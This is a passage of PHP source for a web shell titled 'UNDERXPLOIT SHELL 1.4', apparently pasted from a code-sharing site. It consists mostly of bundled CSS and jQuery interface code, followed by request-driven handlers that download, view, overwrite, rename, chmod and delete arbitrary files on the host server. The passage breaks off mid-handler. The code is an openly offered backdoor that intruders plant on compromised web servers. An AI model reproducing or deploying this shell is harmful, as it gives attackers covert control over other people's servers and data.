rotateAnimate{from{transform:rotate(180deg) translate(-120px);opacity:0}to{transform:rotate(0deg) translate(0);opacity:1}}@-webkit-keyframes standardAnimate{from{transform:translateY(20px);opacity:0}to{transform:translateY(0);opacity:1}}@-webkit-keyframes growAnimate{0%{transform:scale(0) translateY(40px);opacity:0}70%{transform:scale(1.5) translate(0)}100%{transform:scale(1) translate(0);opacity:1}}@-webkit-keyframes rotate2Animate{from{transform:rotate(-90deg);transform-origin:0% 100%;opacity:0}to{transform:rotate(0deg);opacity:1}}@-webkit-keyframes flipAnimate{from{transform:rotate3d(2,2,2,180deg);opacity:0}to{transform:rotate3d(0,0,0,0deg);opacity:1}}@-webkit-keyframes bounceAnimate{0%{transform:translateY(40px);opacity:0}30%{transform:translateY(-40px)}70%{transform:translateY(20px)}100%{transform:translateY(0);opacity:1}}.hidden{display:none}
  343. </style>
  344.  
  345.     <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.js"></script>
  346.     <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/highlight.min.js"></script>
  347.     <script type="text/javascript">    
  348. if ( typeof Object.create !== \'function\' ) {
  349.     Object.create = function( obj ) {
  350.         function F() {}
  351.         F.prototype = obj;
  352.         return new F();
  353.     };
  354. }
  355.  
  356. (function( $, window, document, undefined ) {
  357.  
  358.     var ToolBar = {
  359.         init: function( options, elem ) {
  360.             var self = this;
  361.             self.elem = elem;
  362.             self.$elem = $( elem );
  363.             self.options = $.extend( {}, $.fn.toolbar.options, options );
  364.             self.metadata = self.$elem.data();
  365.             self.overrideOptions();
  366.             self.toolbar = $(\'<div class="tool-container" />\')
  367.                 .addClass(\'tool-\'+self.options.position)
  368.                 .addClass(\'toolbar-\'+self.options.style)
  369.                 .append(\'<div class="tool-items" />\')
  370.                 .append(\'<div class="arrow" />\')
  371.                 .appendTo(\'body\')
  372.                 .css(\'opacity\', 0)
  373.                 .hide();
  374.             self.toolbar_arrow = self.toolbar.find(\'.arrow\');
  375.             self.initializeToolbar();
  376.         },
  377.  
  378.         overrideOptions: function() {
  379.             var self = this;
  380.             $.each( self.options, function( $option ) {
  381.                 if (typeof(self.$elem.data(\'toolbar-\'+$option)) != "undefined") {
  382.                     self.options[$option] = self.$elem.data(\'toolbar-\'+$option);
  383.                 }
  384.             });
  385.         },
  386.  
  387.         initializeToolbar: function() {
  388.             var self = this;
  389.             self.populateContent();
  390.             self.setTrigger();
  391.             self.toolbarWidth = self.toolbar.width();
  392.         },
  393.  
  394.         setTrigger: function() {
  395.             var self = this;
  396.  
  397.             if (self.options.event != \'click\') {
  398.  
  399.                 var moveTime;
  400.                 function decideTimeout () {
  401.                     if (self.$elem.hasClass(\'pressed\')) {
  402.                         moveTime = setTimeout(function() {
  403.                             self.hide();
  404.                         }, 150);
  405.                     } else {
  406.                         clearTimeout(moveTime);
  407.                     };
  408.                 };
  409.  
  410.                 self.$elem.on({
  411.                     mouseenter: function(event) {
  412.                         if (self.$elem.hasClass(\'pressed\')) {
  413.                             clearTimeout(moveTime);
  414.                         } else {
  415.                             self.show();
  416.                         }
  417.                     }
  418.                 });
  419.  
  420.                 self.$elem.parent().on({
  421.                     mouseleave: function(event){ decideTimeout(); }
  422.                 });
  423.  
  424.                 $(\'.tool-container\').on({
  425.                     mouseenter: function(event){ clearTimeout(moveTime); },
  426.                     mouseleave: function(event){ decideTimeout(); }
  427.                 });
  428.             }
  429.  
  430.             if (self.options.event == \'click\') {
  431.                 self.$elem.on(\'click\', function(event) {
  432.                     event.preventDefault();
  433.                     if(self.$elem.hasClass(\'pressed\')) {
  434.                         self.hide();
  435.                     } else {
  436.                         self.show();
  437.                     }
  438.                 });
  439.  
  440.                 if (self.options.hideOnClick) {
  441.                     $(\'html\').on("click.toolbar", function ( event ) {
  442.                         if (event.target != self.elem &&
  443.                             self.$elem.has(event.target).length === 0 &&
  444.                             self.toolbar.has(event.target).length === 0 &&
  445.                             self.toolbar.is(":visible")) {
  446.                             self.hide();
  447.                         }
  448.                     });
  449.                 }
  450.             }
  451.  
  452.             if (self.options.hover) {
  453.                 var moveTime;
  454.  
  455.                 function decideTimeout () {
  456.                     if (self.$elem.hasClass(\'pressed\')) {
  457.                         moveTime = setTimeout(function() {
  458.                             self.hide();
  459.                         }, 150);
  460.                     } else {
  461.                         clearTimeout(moveTime);
  462.                     };
  463.                 };
  464.  
  465.                 self.$elem.on({
  466.                     mouseenter: function(event) {
  467.                         if (self.$elem.hasClass(\'pressed\')) {
  468.                             clearTimeout(moveTime);
  469.                         } else {
  470.                             self.show();
  471.                         }
  472.                     }
  473.                 });
  474.  
  475.                 self.$elem.parent().on({
  476.                     mouseleave: function(event){ decideTimeout(); }
  477.                 });
  478.  
  479.                 $(\'.tool-container\').on({
  480.                     mouseenter: function(event){ clearTimeout(moveTime); },
  481.                     mouseleave: function(event){ decideTimeout(); }
  482.                 });
  483.             }
  484.  
  485.             $(window).resize(function( event ) {
  486.                 event.stopPropagation();
  487.                 if ( self.toolbar.is(":visible") ) {
  488.                     self.toolbarCss = self.getCoordinates(self.options.position, 20);
  489.                     self.collisionDetection();
  490.                     self.toolbar.css( self.toolbarCss );
  491.                     self.toolbar_arrow.css( self.arrowCss );
  492.                 }
  493.             });
  494.         },
  495.  
  496.         populateContent: function() {
  497.             var self = this;
  498.             var location = self.toolbar.find(\'.tool-items\');
  499.             var content = $(self.options.content).clone( true ).find(\'a\').addClass(\'tool-item\');
  500.             location.html(content);
  501.             location.find(\'.tool-item\').on(\'click\', function(event) {
  502.                 event.preventDefault();
  503.                 self.$elem.trigger(\'toolbarItemClick\', this);
  504.             });
  505.         },
  506.  
  507.         calculatePosition: function() {
  508.             var self = this;
  509.                 self.arrowCss = {};
  510.                 self.toolbarCss = self.getCoordinates(self.options.position, self.options.adjustment);
  511.                 self.toolbarCss.position = \'absolute\';
  512.                 self.toolbarCss.zIndex = self.options.zIndex;
  513.                 self.collisionDetection();
  514.                 self.toolbar.css(self.toolbarCss);
  515.                 self.toolbar_arrow.css(self.arrowCss);
  516.         },
  517.  
  518.         getCoordinates: function( position, adjustment ) {
  519.             var self = this;
  520.             self.coordinates = self.$elem.offset();
  521.  
  522.             if (self.options.adjustment && self.options.adjustment[self.options.position]) {
  523.                 adjustment = self.options.adjustment[self.options.position] + adjustment;
  524.             }
  525.  
  526.             switch(self.options.position) {
  527.                 case \'top\':
  528.                     return {
  529.                         left: self.coordinates.left-(self.toolbar.width()/2)+(self.$elem.outerWidth()/2),
  530.                         top: self.coordinates.top-self.$elem.outerHeight()-adjustment,
  531.                         right: \'auto\'
  532.                     };
  533.                 case \'left\':
  534.                     return {
  535.                         left: self.coordinates.left-(self.toolbar.width()/2)-(self.$elem.outerWidth()/2)-adjustment,
  536.                         top: self.coordinates.top-(self.toolbar.height()/2)+(self.$elem.outerHeight()/2),
  537.                         right: \'auto\'
  538.                     };
  539.                 case \'right\':
  540.                     return {
  541.                         left: self.coordinates.left+(self.toolbar.width()/2)+(self.$elem.outerWidth()/2)+adjustment,
  542.                         top: self.coordinates.top-(self.toolbar.height()/2)+(self.$elem.outerHeight()/2),
  543.                         right: \'auto\'
  544.                     };
  545.                 case \'bottom\':
  546.                     return {
  547.                         left: self.coordinates.left-(self.toolbar.width()/2)+(self.$elem.outerWidth()/2),
  548.                         top: self.coordinates.top+self.$elem.outerHeight()+adjustment,
  549.                         right: \'auto\'
  550.                     };
  551.             }
  552.         },
  553.  
  554.         collisionDetection: function() {
  555.             var self = this;
  556.             var edgeOffset = 20;
  557.             if(self.options.position == \'top\' || self.options.position == \'bottom\') {
  558.                 self.arrowCss = {left: \'50%\', right: \'50%\'};
  559.                 if( self.toolbarCss.left < edgeOffset ) {
  560.                     self.toolbarCss.left = edgeOffset;
  561.                     self.arrowCss.left = self.$elem.offset().left + self.$elem.width()/2-(edgeOffset);
  562.                 }
  563.                 else if(($(window).width() - (self.toolbarCss.left + self.toolbarWidth)) < edgeOffset) {
  564.                     self.toolbarCss.right = edgeOffset;
  565.                     self.toolbarCss.left = \'auto\';
  566.                     self.arrowCss.left = \'auto\';
  567.                     self.arrowCss.right = ($(window).width()-self.$elem.offset().left)-(self.$elem.width()/2)-(edgeOffset)-5;
  568.                 }
  569.             }
  570.         },
  571.  
  572.         show: function() {
  573.             var self = this;
  574.             self.$elem.addClass(\'pressed\');
  575.             self.calculatePosition();
  576.             self.toolbar.show().css({\'opacity\': 1}).addClass(\'animate-\'+self.options.animation);
  577.             self.$elem.trigger(\'toolbarShown\');
  578.         },
  579.  
  580.         hide: function() {
  581.             var self = this;
  582.             var animation = {\'opacity\': 0};
  583.  
  584.             self.$elem.removeClass(\'pressed\');
  585.  
  586.             switch(self.options.position) {
  587.                 case \'top\':
  588.                     animation.top = \'+=20\';
  589.                     break;
  590.                 case \'left\':
  591.                     animation.left = \'+=20\';
  592.                     break;
  593.                 case \'right\':
  594.                     animation.left = \'-=20\';
  595.                     break;
  596.                 case \'bottom\':
  597.                     animation.top = \'-=20\';
  598.                     break;
  599.             }
  600.  
  601.             self.toolbar.animate(animation, 200, function() {
  602.                 self.toolbar.hide();
  603.             });
  604.  
  605.             self.$elem.trigger(\'toolbarHidden\');
  606.         },
  607.  
  608.         getToolbarElement: function () {
  609.             return this.toolbar.find(\'.tool-items\');
  610.         }
  611.     };
  612.  
  613.     $.fn.toolbar = function( options ) {
  614.         if ($.isPlainObject( options )) {
  615.             return this.each(function() {
  616.                 var toolbarObj = Object.create( ToolBar );
  617.                 toolbarObj.init( options, this );
  618.                 $(this).data(\'toolbarObj\', toolbarObj);
  619.             });
  620.         } else if ( typeof options === \'string\' && options.indexOf(\'_\') !== 0 ) {
  621.             var toolbarObj = $(this).data(\'toolbarObj\');
  622.             var method = toolbarObj[options];
  623.             return method.apply(toolbarObj, $.makeArray(arguments).slice(1));
  624.         }
  625.     };
  626.  
  627.     $.fn.toolbar.options = {
  628.         content: \'#myContent\',
  629.         position: \'top\',
  630.         hideOnClick: false,
  631.         zIndex: 120,
  632.         hover: false,
  633.         style: \'default\',
  634.         animation: \'standard\',
  635.         adjustment: 10
  636.     };
  637.  
  638. }) ( jQuery, window, document );
  639. </script>
  640. <script type="text/javascript"> baseUrl = window.location.href.split("?")[0]; window.history.pushState("name", "?", baseUrl);</script>
  641. <script type="text/javascript"> var to,width,height,position,autohide,opacity;function notifit_setDefaultValues(){width=400;height=60;position="right";autohide=!0;msg="";opacity=1} function notif(config){notifit_setDefaultValues();if(config.position){if(config.position=="center"||config.position=="left"||config.position=="right"){position=config.position}} if(config.width){if(config.width>0){width=config.width}else if(config.width==="all"){width=screen.width-60}} if(config.height){if(config.height<100&&config.height>0){height=config.height}} if(typeof config.autohide!=="undefined") autohide=config.autohide;var div="<div id=\'ui_notifIt\'><p>"+((config.msg)?config.msg:"")+"</p></div>";$("#ui_notifIt").remove();clearInterval(to);$("body").append(div);$("#ui_notifIt").css("height",height);$("#ui_notifIt").css("width",width);switch(position){case "center":$("#ui_notifIt").css("top",parseInt(0-(height+10)));break;case "right":$("#ui_notifIt").css("right",parseInt(0-(width+10)));break;case "left":$("#ui_notifIt").css("left",parseInt(0-(width+10)));break;default:$("#ui_notifIt").css("right",parseInt(0-(width+10)));break} if(config.opacity){$("#ui_notifIt").css("opacity",config.opacity)} switch(config.type){case "error":$("#ui_notifIt").addClass("error");break;case "success":$("#ui_notifIt").addClass("success");break;case "info":$("#ui_notifIt").addClass("info");break;case "warning":$("#ui_notifIt").addClass("warning");break;default:$("#ui_notifIt").addClass("default");break} switch(position){case "left":$("#ui_notifIt").css("left",parseInt(0-(width*2)));break;case "right":$("#ui_notifIt").css("right",parseInt(0-(width*2)));break;case "center":var mid=window.innerWidth/2;$("#ui_notifIt").css("left",mid-parseInt(width/2));break;default:var mid=window.innerWidth/2;$("#ui_notifIt").css("left",mid-parseInt(width/2));break} $("#ui_notifIt p").css("line-height",height+"px");switch(position){case "center":$("#ui_notifIt").animate({top:10});break;case "right":$("#ui_notifIt").animate({right:10});break;case "left":$("#ui_notifIt").animate({left:10});break;default:$("#ui_notifIt").animate({right:10});break} $("#ui_notifIt").click(function(){notifit_dismiss()});if(autohide==!0) to=setTimeout(function(){notifit_dismiss()},5000)} function notifit_dismiss(){clearInterval(to);if(position=="center"){$("#ui_notifIt").animate({top:parseInt(height-(height/2))},100,function(){$("#ui_notifIt").animate({top:parseInt(0-(height*2))},100,function(){$("#ui_notifIt").remove()})})}else if(position=="right"){$("#ui_notifIt").animate({right:parseFloat(width-(width*0.9))},100,function(){$("#ui_notifIt").animate({right:parseInt(0-(width*2))},100,function(){$("#ui_notifIt").remove()})})}else if(position=="left"){$("#ui_notifIt").animate({left:parseFloat(width-(width*0.9))},100,function(){$("#ui_notifIt").animate({left:parseInt(0-(width*2))},100,function(){$("#ui_notifIt").remove()})})} notifit_setDefaultValues()}</script>
  642. <script type="text/javascript">
  643.   (function($) {
  644.     $.fn.linedtextarea = function(options) {
  645.         var opts = $.extend({}, $.fn.linedtextarea.defaults, options);
  646.         var fillOutLines = function(codeLines, h, lineNo) {
  647.             while ((codeLines.height() - h) <= 0) {
  648.                 if (lineNo == opts.selectedLine)
  649.                     codeLines.append("<div class=\'lineno lineselect\'>" + lineNo + "</div>");
  650.                 else codeLines.append("<div class=\'lineno\'>" + lineNo + "</div>");
  651.                 lineNo++
  652.             }
  653.             return lineNo
  654.         };
  655.         return this.each(function() {
  656.             var lineNo = 1;
  657.             var textarea = $(this);
  658.             textarea.attr("wrap", "off");
  659.             textarea.css({
  660.                 resize: \'none\'
  661.             });
  662.             var originalTextAreaWidth = textarea.outerWidth();
  663.             textarea.wrap("<div class=\'linedtextarea\'></div>");
  664.             var linedTextAreaDiv = textarea.parent().wrap("<div class=\'linedwrap\' style=\'width:" + originalTextAreaWidth + "px\'></div>");
  665.             var linedWrapDiv = linedTextAreaDiv.parent();
  666.             linedWrapDiv.prepend("<div class=\'lines\' style=\'width:39px\'></div>");
  667.             var linesDiv = linedWrapDiv.find(".lines");
  668.             linesDiv.height(textarea.height() + 6);
  669.             linesDiv.append("<div class=\'codelines\'></div>");
  670.             var codeLinesDiv = linesDiv.find(".codelines");
  671.             lineNo = fillOutLines(codeLinesDiv, linesDiv.height(), 1);
  672.             if (opts.selectedLine != -1 && !isNaN(opts.selectedLine)) {
  673.                 var fontSize = parseInt(textarea.height() / (lineNo - 2));
  674.                 var position = parseInt(fontSize * opts.selectedLine) - (textarea.height() / 2);
  675.                 textarea[0].scrollTop = position
  676.             }
  677.             var sidebarWidth = linesDiv.outerWidth();
  678.             var paddingHorizontal = parseInt(linedWrapDiv.css("border-left-width")) + parseInt(linedWrapDiv.css("border-right-width")) + parseInt(linedWrapDiv.css("padding-left")) + parseInt(linedWrapDiv.css("padding-right"));
  679.             var linedWrapDivNewWidth = originalTextAreaWidth - paddingHorizontal;
  680.             var textareaNewWidth = originalTextAreaWidth - sidebarWidth - paddingHorizontal - 20;
  681.             textarea.width(textareaNewWidth);
  682.             linedWrapDiv.width(linedWrapDivNewWidth);
  683.             textarea.scroll(function(tn) {
  684.                 var domTextArea = $(this)[0];
  685.                 var scrollTop = domTextArea.scrollTop;
  686.                 var clientHeight = domTextArea.clientHeight;
  687.                 codeLinesDiv.css({
  688.                     \'margin-top\': (-1 * scrollTop) + "px"
  689.                 });
  690.                 lineNo = fillOutLines(codeLinesDiv, scrollTop + clientHeight, lineNo)
  691.             });
  692.             textarea.resize(function(tn) {
  693.                 var domTextArea = $(this)[0];
  694.                 linesDiv.height(domTextArea.clientHeight + 6)
  695.             })
  696.         })
  697.     };
  698.     $.fn.linedtextarea.defaults = {
  699.         selectedLine: -1,
  700.         selectedClass: \'lineselect\'
  701.     }
  702. })(jQuery) </script>';
  703. print '<i class="zmdi zmdi-long-arrow-up zmdi-hc-fw move-top"></i>';
  704. print '<script type="text/javascript">
  705. jQuery(document).ready(function() {
  706.     var offset = 250;
  707.     var duration = 500;
  708.     jQuery(window).scroll(function() {
  709.         if (jQuery(this).scrollTop() > offset) {
  710.             jQuery(\'.move-top\').fadeIn(duration);
  711.         } else {
  712.             jQuery(\'.move-top\').fadeOut(duration);
  713.         }
  714.     });
  715.     jQuery(\'.move-top\').click(function(event) {
  716.         event.preventDefault();
  717.         jQuery(\'html, body\').animate({
  718.             scrollTop: 0
  719.         }, duration);
  720.         return false;
  721.     })
  722. }); </script>
  723. <script type="text/javascript">
  724.     function c(x) {
  725.         window.location = x
  726. } </script>
  727. <script type="text/javascript">jQuery(document).ready(function() {
  728.     var offsets=100;
  729.     var durations=500;
  730.     jQuery(window).scroll(function() {
  731.         if(jQuery(this).scrollTop() > offsets) {
  732.             jQuery(\'#judul\').fadeIn(durations);
  733.             jQuery(\'.menus\').css({\'background\' : \'#222\', \'box-shadow\' : \'0 1px 5px rgba(27,31,35,.15)\'});
  734. }
  735.         else {
  736.             jQuery(\'#judul\').fadeOut(durations);
  737.             jQuery(\'.menus\').css(\'background\', \'none\');
  738.          }
  739.     }
  740.     );
  741. }); </script>
  742. <style> .icon { color: #1D9D73; } </style>
  743. <script type="text/javascript">hljs.initHighlightingOnLoad();</script>
  744. </head>
  745. <body>
  746.     <div class="co-ontainer-2">
  747.         <div class="atas">
  748.         <div id="particles-js"></div>
  749.             <div class="menus atas-ae" style="background:none">
  750.                 <div class="co-ontainer-3"><span id="judul" class="">UNDERXPLOIT  SHELL 1.4</span>  
  751.                     <button class="xa" onclick=\'c("'.$_SERVER['PHP_SELF']. '")\'><i class="zmdi zmdi-home zmdi-hc-fw"></i></button>
  752.                     <button class="xa" onclick=\'c("?' .x5.getcwd(). '&' .x7. 'about")\'><i class="zmdi zmdi-account-o zmdi-hc-fw"></i></button>
  753.                     <button class="xa" onclick=\'c("?' .x5.getcwd(). '&' .x7.  'logout")\'><i class="zmdi zmdi-power zmdi-hc-fw"></i></button>
  754.                 </div>
  755.             </div>
  756.         </div>
  757.         <div class="dir">
  758.             <table style="width:100%">
  759.                 <td style="width:100%">
  760.                     <div class="dir-pallet">
  761.                         <table>
  762.                             <td class="dir-td-left"><span class="label-success">ROOT</span> :</td>
  763.                             <td class="break dir-td-right wrap">';
  764.  
  765. foreach($scdir as $c_dir => $cdir) {
  766.     print '<a class="a" onclick="c(\'?' . x5;
  767.         for ($i = 0; $i <= $c_dir; $i++) {
  768.             print $scdir[$i];
  769. switch (true) {
  770.     case ($i != $c_dir): print '/';
  771.         }
  772.     } print '\')">' . $cdir . '</a>/';
  773. }
  774. print '</td></table></div></th></table></div>';
  775. $filez = basename($_UNDERXPLOIT['file']);
  776. $size = filesize("$dir/$filez") / 1024;
  777. $size = round($size, 3);
  778.  
  779. switch (true) {
  780.     case ($size > 1024): $size = round($size / 1024, 2) . ' MB';
  781. break;
  782.     default: $size = $size . ' KB';
  783. }
  784. print '<div class="coL">';
  785.  
  786. switch ($_UNDERXPLOIT['command']) {
  787.     case 'logout': r($_SERVER['PHP_SELF']);
  788.         setcookie(md5($_SERVER['HTTP_HOST']), time() - 3600);
  789. break;
  790.  
  791.     case 'download': $dir = $_UNDERXPLOIT['file'];
  792.         $file = file_get_contents($dir); ob_end_clean();
  793.         header("Content-type: application/octet-stream");
  794.         header("Content-length: " . strlen($file));
  795.         header("Content-disposition: attachment; filename=" . basename($dir));
  796.         print $file;
  797.         die();
  798. break;
  799.  
  800.     case 'delete': $delete = unlink($_UNDERXPLOIT['file']);
  801. switch (true) {
  802.     case ($delete): print '<script type="text/javascript">c("?' . x5 . $dir . '");</script>';
  803. break;
  804.     default: bacot('Permission denied');
  805.     }
  806. break;
  807.  
  808.     case 'deledir': $xzi = deledir($dir);
  809. switch (true) {
  810.     case '$xzi': print '<script type="text/javascript">window.location = "?' . x5 . dirname($dir) . '";</script>';
  811. break;
  812.     default: print '<script type="text/javascript">window.location = "?' . x5 . dirname($dir) . '";</script>';
  813.         bacot('Permission denied');
  814.     }
  815. break;
  816.  
  817.     case 'view': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SOURCE VIEWER</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span></td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  818.         print "<table>
  819. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></th>
  820. <th><a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
  821. <th><a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
  822. <th><a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>
  823. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>";
  824.     $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT['file']));
  825. switch (true) {
  826.     case (empty($source)): print x9;
  827.         bacot('Source not found');
  828. break;
  829.     default: print '<div id="paksa"><pre class="top"><code class="php">' . $source . '</code></pre></div></div>';
  830.     }
  831. break;
  832.  
  833.     case 'edit': switch (true) {
  834.     case ($_UNDERXPLOIT['save']): $save = file_put_contents($_UNDERXPLOIT['file'], $_UNDERXPLOIT['src']);
  835. switch (true) {
  836.     case ($save) : bacot('Source saved');
  837. break;
  838.     detault: bacot('Permission denied');
  839.     }
  840. }
  841.  
  842.     print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">EDIT SOURCE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span> </td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  843.     print "<table>
  844. <th><a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
  845. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></th>
  846. <th><a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
  847. <th><a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>
  848. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>";
  849.     $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT['file']));
  850.    
  851. switch (true) {
  852.     case (empty($source)): print "<form method='post' action='?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "'  style='margin:0px'>";
  853.         print '<script type="text/javascript">
  854. $(function() {
  855.     $(".lined").linedtextarea({selectedLine: 1});
  856. }); </script>';
  857.         print "<div id='paksa'><textarea name='src' class='lined' placeholder='// this editor only works for source code.'></textarea><input type='submit' class='btn-exe' value='SAVE' name='save' style='margin-top:3px;width: 100%'></form></div></div>";
  858. break;
  859.     default: print "<form method='post' action='?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "' style='margin:0px'>";
  860.         print '<script type="text/javascript">
  861. $(function() {
  862.     $(".lined").linedtextarea({selectedLine: 1});
  863. }); </script>';
  864.         print "<div id='paksa'><textarea name='src' class='lined' placeholder='// this editor only works for source code.'>" . $source . "</textarea><input type='submit' value='SAVE' name='save' class='btn-exe' style='margin-top:3px;width: 100%'></form></div></div>";
  865.     }
  866. break;
  867.  
  868.     case 'rename': switch (true) {
  869.     case ($_UNDERXPLOIT['rename']):
  870.         $rename = rename($_UNDERXPLOIT['file'], "$dir/" . htmlspecialchars($_UNDERXPLOIT['rename']) . "");
  871. switch (true) {
  872.     case ($rename): mtr("?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $dir . "/" . $_UNDERXPLOIT["rename"]);
  873.         bacot('File renamed');
  874. break;
  875.     default: bacot('Permission denied');
  876.     }
  877. }
  878.    
  879.     print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME FILE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span>  ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span></td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  880.     print "<table>
  881. <th><a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
  882. <th><a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
  883. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></th>
  884. <th><a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>
  885. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>
  886.     <div class='coL-option top'><br /><br />
  887.     <center>
  888.         <i class='zmdi zmdi-file-text zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br /><form action='?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "' style='margin:0px' method='post'>
  889. <table cellspacing='0'>
  890.     <td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='text' value='" . basename($_UNDERXPLOIT['file']) . "' name='rename' id='vrn'></td><td style='width:20%'>
  891.     <button type='submit' class='btn-exe' id='rn' onclick='rnm(); return false'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table>
  892.     </form></div></div>";
  893. print '<script type="text/javascript">function rnm(){
  894. if(document.getElementById("vrn").value == ""){'; s('Form do not leave empty');
  895.     print 'document.getElementById("vrn").focus();
  896.       return false;
  897.     } document.getElementById("rn").submit();
  898. } </script>';
  899. break;
  900.  
  901.     case 'chmod': switch (true) {
  902.     case ($_UNDERXPLOIT['perm']):
  903. switch (true) {
  904.     case (chmod($_UNDERXPLOIT['file'], octdec($_UNDERXPLOIT['perm']))): mtr("?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file']);
  905.         bacot('Items changed mode to '.decoct(octdec($_UNDERXPLOIT['perm'])));
  906. break;
  907.     default: bacot('Permission denied');
  908.     }
  909. }
  910.  
  911.     print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHMOD FILE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span>  ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span> </td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  912.     print "<table>
  913. <th><a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
  914. <th><a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
  915. <th><a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
